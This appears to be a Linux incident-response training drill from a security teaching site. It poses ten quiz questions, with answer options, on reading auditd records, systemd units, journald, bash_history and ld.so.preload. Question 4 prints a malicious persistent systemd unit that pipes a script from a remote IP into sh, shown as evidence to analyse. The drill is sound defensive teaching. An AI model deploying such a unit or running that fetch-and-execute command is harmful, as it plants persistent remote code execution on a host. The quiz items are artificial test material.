CyberKit

Drill Case

Linux Case

A server making outbound connections nobody can explain: read its audit log, journal and scheduled jobs, and say who did what.

The case

A Linux server started making outbound connections nobody can explain. You have its auditd log, its journal and a copy of the configuration that runs things on a schedule.

Each question is one piece of that evidence. Say who did what, and be precise about what the record cannot tell you.

Intermediate · about 25 minutes · 10 questions

What you will be able to do

  • Attribute an auditd record to a person rather than to root (Linux Audit & Unit Explainer)
  • Pick the artifact that answers a given question, and name its catch (Linux Artifact Reference)
  • Read a systemd unit for what actually runs, as whom, and what makes it persistent
  • Tell an artifact that recorded nothing from an artifact that was never configured to record (Linux Artifact Reference)

Read first: Linux Artifact Reference.

Notes for teaching it
  • The auid question is the one to build a session around. Most learners answer root, which is literally true and useless in a report, and seeing why lands better than being told.
  • Two questions have the same shape on purpose: an empty bash_history and an empty journal. Both are usually configuration rather than evidence, and recognizing that pattern transfers to every platform.
  • No Linux host is needed. The drill presents every artifact as text, so it tests reading rather than tooling.

Terms behind it

  • auditd: The Linux kernel audit subsystem's user-space logging daemon.
  • systemd Journal: Structured, indexed binary log managed by systemd-journald on modern Linux.
  • cron and systemd Timers: Time-based job schedulers on Unix and a classic persistence and execution vector.
  • auth.log / secure: Linux authentication log recording logins, sudo use, SSH activity, and PAM events.
  • Persistence Mechanism: The means malware uses to survive reboots and keep running.

Worksheet

Every question on one page, to print or to read without JavaScript. The answer key has the answers and why.

All 10 questions
  1. Read this auditd record. Who should the report name as responsible?

    type=SYSCALL msg=audit(1772404029.123:456): arch=c000003e syscall=59 success=yes
      ppid=1200 pid=1207 auid=1000 uid=0 euid=0 tty=(none)
      comm="sh" exe="/tmp/.x/sh" key="exec"
    • The account with UID 1000, because auid records who originally logged in
    • root, because uid and euid are both 0
    • Nobody; the record has no identity fields
    • PID 1200, the parent process
  2. auditd is running but ausearch returns nothing for the incident window. What is the most likely explanation?

    • No audit rules were configured, so there was nothing to record
    • The attacker deleted the audit log
    • auditd only records failures
    • The events are there but ausearch needs root
  3. Match each question to the Linux artifact that answers it.

  4. What does this systemd unit do, and what makes it persistence rather than a one-off?

    [Unit]
    Description=Intel Update Helper
    
    [Service]
    ExecStart=/bin/sh -c "curl -s http://198.51.100.23/u | sh"
    Restart=always
    
    [Install]
    WantedBy=multi-user.target
    • Downloads and runs a remote script as root, and Restart=always plus WantedBy makes it survive both exit and reboot
    • Only runs once at install time
    • Runs as the "Intel" user, so it is unprivileged
    • Is inert because no User is specified
  5. A user's .bash_history is empty on a host you believe they used interactively. What can you conclude?

    • Very little on its own: history writes at shell exit, and it can be disabled, truncated or deleted by the user
    • The user never ran any commands
    • The account was never used
    • The file is corrupt and the host should be reimaged
  6. Order these steps for triaging a suspected Linux compromise on a live host.

  7. journalctl shows nothing before this morning's reboot on a systemd host. Why?

    • journald storage is volatile by default on several distributions, so the journal lived in /run and did not survive the reboot
    • journalctl only shows the current boot and cannot show earlier ones
    • The journal was cleared by the attacker
    • systemd hosts do not keep logs across reboots at all
  8. Pull the three facts you would put in a timeline row for this auth.log line.

    Mar  2 21:47:09 web01 sshd[4412]: Accepted publickey for deploy from 198.51.100.23 port 51422 ssh2: RSA SHA256:abc123
  9. You find /etc/ld.so.preload containing a path to a library in /usr/lib. How should you read this?

    • As a strong finding: the file does not exist on a clean system and forces a library into every dynamically linked process
    • As normal; the file ships with most distributions
    • As a performance tuning setting
    • As evidence only if the library is in /tmp
  10. Where would you find a scheduled task that runs as a normal user and needs no root at all?

    • The user's crontab in the spool directory, or a timer under ~/.config/systemd/user/
    • Only /etc/crontab
    • Only /etc/systemd/system/
    • Scheduled tasks always require root on Linux

Next: Windows Host Case. All drills